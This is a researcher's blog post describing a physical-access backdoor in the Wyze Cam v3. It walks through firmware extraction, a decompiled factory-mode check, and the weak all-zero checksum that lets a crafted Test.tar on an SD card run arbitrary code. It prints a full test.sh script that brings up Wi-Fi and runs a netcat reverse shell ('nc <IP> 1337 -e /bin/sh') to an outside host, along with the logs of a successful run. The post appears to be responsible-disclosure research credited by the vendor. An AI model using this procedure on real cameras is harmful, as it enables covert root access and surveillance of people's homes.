# How I physically backdoored Wyze Camera v3

**Update 9/8/2023**: I got a credit from Wyze team [here](https://www.wyze.com/pages/thank-you-white-hats)

At the time I'm writing this blog, the newest Wyze camera firmware version is [**4.36.11.4679**](https://download.wyzecam.com/firmware/v3/demo_wcv3_4.36.11.4679.bin.zip)**.** You can directly download the firmware [here](https://download.wyzecam.com/firmware/v3/demo_wcv3_4.36.11.4679.bin.zip) or refer to the [vendor's website](https://support.wyze.com/hc/en-us/articles/360024852172-Release-Notes-Firmware).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1690529082752/0b98ca7f-e70d-4fad-9bfe-111650310b51.png align="center")

After I got the firmware downloaded, I renamed it to `demo_wcv3.bin` and tried to follow [this](https://support.wyze.com/hc/en-us/articles/360031490871-How-to-flash-your-Wyze-Cam-firmware-manually) instruction in order to manually flash the new firmware, but it didn't work.

So I extracted it using the command `binwalk -eM demo_wcv3.bin` and inspected it manually.

Here are the files after extraction:

```typescript
┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ ls -la
total 21016
drwxrwxrwx  7 kali kali    4096 Jul 25 04:35 .
drwxr-xr-x 10 kali kali    4096 Jul 25 04:19 ..
-rwxrwxrwx  1 kali kali 2881084 Jul 25 04:19 1F0040.squashfs
-rwxrwxrwx  1 kali kali 3379782 Jul 25 04:19 5C0040.squashfs
-rwxrwxrwx  1 kali kali 5808244 Jul 25 04:19 80
-rwxrwxrwx  1 kali kali 9412608 Jul 25 04:19 80.7z
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 _80.extracted
drwxrwxrwx 22 kali kali    4096 Jul 25 04:19 squashfs-root
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 squashfs-root-0
drwxrwxrwx  8 kali kali    4096 Jul 25 04:19 squashfs-root-1
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 squashfs-root-2
```

I also tore down 2 Wyze v3 cameras for inspection, one with the older firmware that I can get into root shell via UART, and the other with the newest firmware that has no shell because it is equipped better root password.

Here is the UART pinouts if you are interested:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1690533739457/aa43d226-77f1-4b0c-a5ab-ef40715d2371.png align="center")

You can try extracting the password hash and breaking it on your own, but it looks much more secure:

```typescript
┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ find . | grep shadow               
./squashfs-root/etc/shadow
                                                                                                       
┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ cat ./squashfs-root/etc/shadow 
root:$6$wyzecamv3$8gyTEsAkm1d7wh12Eup5MMcxQwuA1n1FsRtQLUW8dZGo1b1pGRJgtSieTI02VPeFP9f4DodbIt2ePOLzwP0WI0:0:0:99999:7:::
```

While inspecting the bootlogs via UART, I found out there was quite interesting part of the code somewhere that is looking for a file named `Test.tar` :

```typescript
 __________________________________
|                                  |
|                                  |
|                                  |
|                                  |
| _   _             _           _  |
|| | | |_   _  __ _| |     __ _(_) |
|| |_| | | | |/ _| | |  _ / _| | | |
||  _  | |_| | (_| | |_| | (_| | | |
||_| |_|\__,_|\__,_|_____|\__,_|_| |
|                                  |
|                                  |
|_____2020_WYZE_CAM_V3_@HUALAI_____|


WCV3 login: [    1.248833] @@@@ tx-isp-probe ok(version H20200506a), compiler date=May  6 2020 @@@@@
[    1.287215] exFAT: Version 1.2.9
[    1.314206] jz_codec_register: probe() successful!
[    1.725724] dma dma0chan24: Channel 24 have been requested.(phy id 7,type 0x06 desc a0682000)
[    1.734817] dma dma0chan25: Channel 25 have been requested.(phy id 6,type 0x06 desc a0625000)
[    1.743996] dma dma0chan26: Channel 26 have been requested.(phy id 5,type 0x04 desc a07d4000)
[    1.816013] jz_pwm_probe[255] d_name = tcu_chn0
[    1.822279] The version of PWM driver is H20180309a
[    1.832702] request pwm channel 0 successfully
[    1.838984] pwm-jz pwm-jz: jz_pwm_probe register ok !
[    2.073137] RTL871X: module init start
[    2.078381] RTL871X: rtl8189ftv v4.3.24.7_21113.20170208.nova.1.02
[    2.084766] RTL871X: build time: Dec 18 2020 16:40:08
[    2.090031] wlan power on by hualai
[    2.105791] RTL871X: module init ret=0
[    2.123004] usbcore: registered new interface driver usb_ch34x
[    2.130403] ch34x: USB to serial driver for USB to serial chip ch340, ch341, etc.
[    2.138186] ch34x: V1.16 On 2020.12.23
[    2.151689] mmc1: card claims to support voltages below the defined range. These will be ignored.
Updating device time to:
Sun Feb 14 19:36:56 CST 2021
[    2.177094] mmc1: new SDIO card at address 0001
===========welcome to ver-comp tool=========
[    2.192296] RTL871X: ++++++++rtw_drv_init: vendor=0x024c device=0xf179 class=0x07
[    2.237058] RTL871X: HW EFUSE
[    2.240134] RTL871X: hal_com_config_channel_plan chplan:0x20
[ver-comp]dbg: appver:  4.36.0.280
[ver-comp]dbg: rootver: 4.36.0.112
[ver-comp]exec cmd: cp -rf /system/bin/app.ver /configs/
#######################
#   IS USER PROCESS   #
#######################
[    2.377273] RTL871X: rtw_regsty_chk_target_tx_power_valid return _FALSE for band:0, path:0, rs:0, t:-1
[    2.387880] RTL871X: rtw_ndev_init(wlan0) if1 mac_addr=40:24:b2:08:66:8a
[FC] cd pin not found tfcard
[FC] Test.tar no exist
[FC] In [user] mode!
```

After searching around in the extracted firmware, I found out that it's probably this piece of bash script in `squashfs-root-1/init/app_init.sh` that did the file checking:

```bash
############### Select user mode or debug mode ###############
DEBUG_STATUS='/configs/.debug_flag'

if [ ! -f $DEBUG_STATUS ]; then
	echo "#######################"
	echo "#   IS USER PROCESS   #"
	echo "#######################"
	/system/init/factory.sh &
	/system/bin/factorycheck

	if [ -f /tmp/factory ]; then
		exit
	fi

    ...
else
	sleep 0.5
	echo "#######################"
	echo "#   IS DEBUG STATUS   #"
	echo "#######################"
fi
```

So I opened the `squashfs-root-1/bin/factorycheck` binary using Ghidra, and quickly found out the pieces of code that output all those logs:

```cpp
undefined4 FUN_00400a60(void)

{
  int iVar1;
  byte *pbVar2;
  size_t sVar3;
  FILE *__stream;
  byte *pbVar4;
  byte *pbVar5;
  char *pcVar6;
  uint uVar7;
  char acStack_218 [256];
  byte local_118 [64];
  byte local_d8 [64];
  char acStack_98 [64];
  byte local_58 [68];
  
  memset(acStack_218,0,0x100);
  memset(local_58,0,0x40);
  memset(acStack_98,0,0x40);
  memset(local_d8,0,0x40);
  memset(local_118,0,0x40);
  iVar1 = access("/media/mmc/Test.tar",0);
  if (iVar1 == 0) {
    system("tar -xvf /media/mmc/Test.tar -C /tmp/");
    puts("[FC] Test.tar exist");
    FUN_00400850("/tmp/Test/singleBoadTest",local_d8);
    uVar7 = 0;
    FUN_00400850("/tmp/Test/factoryTestProcess",local_118);
    while( true ) {
      sVar3 = strlen((char *)local_d8);
      pbVar5 = local_118 + uVar7;
      if (sVar3 <= uVar7) break;
      pbVar4 = local_d8 + uVar7;
      pbVar2 = local_58 + uVar7;
      uVar7 = uVar7 + 1;
      *pbVar2 = *pbVar5 ^ *pbVar4;
    }
    __stream = fopen("/tmp/Test/checksum","rb");
    if (__stream == (FILE *)0x0) {
      pcVar6 = "[FC] Test.tar checksum no exist";
    }
    else {
      sVar3 = fread(acStack_98,1,0x40,__stream);
      fclose(__stream);
      iVar1 = strncmp(acStack_98,(char *)local_58,sVar3);
      if (iVar1 == 0) {
        system("touch /tmp/factory");
        pcVar6 = "[FC] In [factory] mode!";
        goto LAB_00400cac;
      }
      pcVar6 = "[FC] Test.tar checksum no right";
    }
    puts(pcVar6);
    system("rm /tmp/Test/ -rf");
  }
  else {
    puts("[FC] Test.tar no exist");
  }
  iVar1 = access("/dev/mmcblk0p1",0);
  if ((iVar1 == 0) && (iVar1 = access("/media/mmc",0), iVar1 == 0)) {
    pcVar6 = "umount /dev/mmcblk0p1";
LAB_00400c7c:
    strcpy(acStack_218,pcVar6);
    system(acStack_218);
    puts("[FC] umount tfcard finish!");
  }
  else {
    iVar1 = access("/dev/mmcblk0",0);
    if ((iVar1 == 0) && (iVar1 = access("/media/mmc",0), iVar1 == 0)) {
      pcVar6 = "umount /dev/mmcblk0";
      goto LAB_00400c7c;
    }
  }
  system("touch /tmp/usrflag");
  pcVar6 = "[FC] In [user] mode!";
LAB_00400cac:
  puts(pcVar6);
  return 0;
}

undefined4 FUN_00400850(undefined4 param_1,void *param_2)

{
  FILE *__stream;
  size_t __n;
  undefined auStack_90 [64];
  char acStack_50 [64];
  
  memset(acStack_50,0,64);
  memset(auStack_90,0,64);
  snprintf(acStack_50,64,"md5sum %s > /tmp/mdtxt",param_1);
  system(acStack_50);
  __stream = fopen("/tmp/mdtxt","rb");
  __n = fread(auStack_90,1,0x40,__stream);
  fclose(__stream);
  if (0 < (int)__n) {
    memcpy(param_2,auStack_90,__n);
    printf("get_uploadfile_md5:[%d][%s]\n",__n,param_2);
  }
  return 1;
}
```

At a high-level concept, what the code does was:

* Extract `Test.tar` to `/tmp` : `tar -xvf /media/mmc/Test.tar -C /tmp/`
    
* Get md5 hashes of `/tmp/Test/singleBoadTest` and `/tmp/Test/factoryTestProcess`, save the hashes to `local_d8` and `local_118`:
    
    ```cpp
    FUN_00400850("/tmp/Test/singleBoadTest",local_d8);
    FUN_00400850("/tmp/Test/factoryTestProcess",local_118);
    ```
    
* Xor the hashes and save them to `pbVar2` :
    
    ```cpp
    while( true ) {
      sVar3 = strlen((char *)local_d8);
      pbVar5 = local_118 + uVar7;
      if (sVar3 <= uVar7) break;
      pbVar4 = local_d8 + uVar7;
      pbVar2 = local_58 + uVar7;
      uVar7 = uVar7 + 1;
      *pbVar2 = *pbVar5 ^ *pbVar4;
    }
    ```
    
* Check if `pbVar2` is equal with `/tmp/Test/checksum`, if yes then create `/tmp/factory` file
    
    ```cpp
    __stream = fopen("/tmp/Test/checksum","rb");
    if (__stream == (FILE *)0x0) {
      pcVar6 = "[FC] Test.tar checksum no exist";
    }
    else {
      sVar3 = fread(acStack_98,1,0x40,__stream);
      fclose(__stream);
      iVar1 = strncmp(acStack_98,(char *)local_58,sVar3);
      if (iVar1 == 0) {
        system("touch /tmp/factory");
        pcVar6 = "[FC] In [factory] mode!";
        goto LAB_00400cac;
      }
      pcVar6 = "[FC] Test.tar checksum no right";
    }
    puts(pcVar6);
    system("rm /tmp/Test/ -rf");
    ```
    

Ok, so it seems like all of these codes were only to decide whether to create the `/tmp/factory` file which served as a flag for something. So how do we get a shell from this?

Well, the interesting part lies in `squashfs-root-1/init/factory.sh` which were executed along with the `factorycheck` script inside the `app_init.sh` above:

```bash
#!/bin/sh

while [ 1 ]
do
	sleep 0.1;
	if [ -f /tmp/factory ]; then
		/tmp/Test/test.sh &
		break
	fi
	if [ -f /tmp/usrflag ]; then
		break
	fi
done
```

From this part, my execution plan was clear:

* Create a `Test` folder which contains:
    
    * `singleBoadTest`: Blank file
        
    * `factoryTestProcess`: Blank file
        
    * `checksum` : Xor of the md5 hashes of 2 blank files above, which of course contains `b'\0' * 32`
        
    * `/tmp/Test/test.sh` : Our injection script for shell
        
* `tar -cvf Test.tar Test/`
    
* Copy `Test.tar` to the SDCard
    
* Plug it into the device, reboot, and enjoy (no need to teardown or do anything abnormally at all)
    

Here is the script I put into `test.sh` for the reverse shell. Because when switched into test mode the device wouldn't run any network initialization at all so I had to initialize them on my own. I put my `wpa_supplicant.conf` at `/media/mmc/full-firmware/tmp/wpa_supplicant.conf` which is inside the SDCard. I also grabbed a better version of `busybox-mipsel` binary from [here](https://busybox.net/downloads/binaries/1.21.1/) to be able to use netcat.

```bash
mkdir /media/mmc
mount /dev/mmcblk0p1 /media/mmc
ifconfig wlan0 up
wpa_supplicant -c /media/mmc/full-firmware/tmp/wpa_supplicant.conf -i wlan0 &
udhcpc -i wlan0
while true; do
    /media/mmc/full-firmware/tmp/busybox-mipsel nc <IP> 1337 -e /bin/sh
    sleep 1
done
```

If everything went well, you will see these logs after reboot:

```typescript
[FC] mount tfcard finish!
Test/
Test/checksum
Test/factoryTestProcess
Test/singleBoadTest
Test/test.sh
[FC] Test.tar exist
get_uploadfile_md5:[59][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/singleBoadTest
]
get_uploadfile_md5:[63][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/factoryTestProcess
]
[FC] In [factory] mode!
mkdir: can't create directory '/media/mmc': File exists
mount: mounting /dev/mmcblk0p1 on /media/mmc failed: Device or resource busy
udhcpc: started, v1.33.1
udhcpc: sending discover
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
nl80211: Could not re-add multicast membership for vendor events: -2 (No such file or directory)
wlan0: CTRL-EVENT-REGDOM-CHANGE init=BEACON_HINT type=UNKNOWN
wlan0: Trying to associate with 10:39:4e:fb:bf:f0 (SSID='<redacted>' freq[    5.851126] RTL871X: rtw_set_802_11_connect(wlan0)  fw_state=0x00000008
=2412 MHz)
[    5.940730] RTL871X: start auth
[    6.288097] RTL871X: auth success, start assoc
[    6.337639] RTL871X: assoc success
wlan0: Associated with 10:39:4e:fb:bf:f0
wlan0: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
[    6.438169] RTL871X: recv eapol packet
[    6.442789] RTL871X: send eapol packet
[    6.462905] RTL871X: recv eapol packet
[    6.537203] RTL871X: send eapol packet
[    6.543331] RTL871X: set pairwise key camid:4, addr:10:39:4e:fb:bf:f0, kid:0, type:AES
wlan0: WPA: Key negotiation completed w[    6.554394] RTL871X: set group key camid:5, addr:10:39:4e:fb:bf:f0, kid:2, type:AES
ith 10:39:4e:fb:bf:f0 [PTK=CCMP GTK=CCMP]
wlan0: CTRL-EVENT-CONNECTED - Connection to 10:39:4e:fb:bf:f0 completed [id=0 id_str=]
udhcpc: sending discover
udhcpc: sending select for 192.168.1.44
udhcpc: lease of 192.168.1.44 obtained, lease time 86400
deleting routers
adding dns 192.168.1.1
```

And yes, the shell:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1690532266816/09a62f96-3b40-4d1e-abad-79c0da248d82.png align="center")
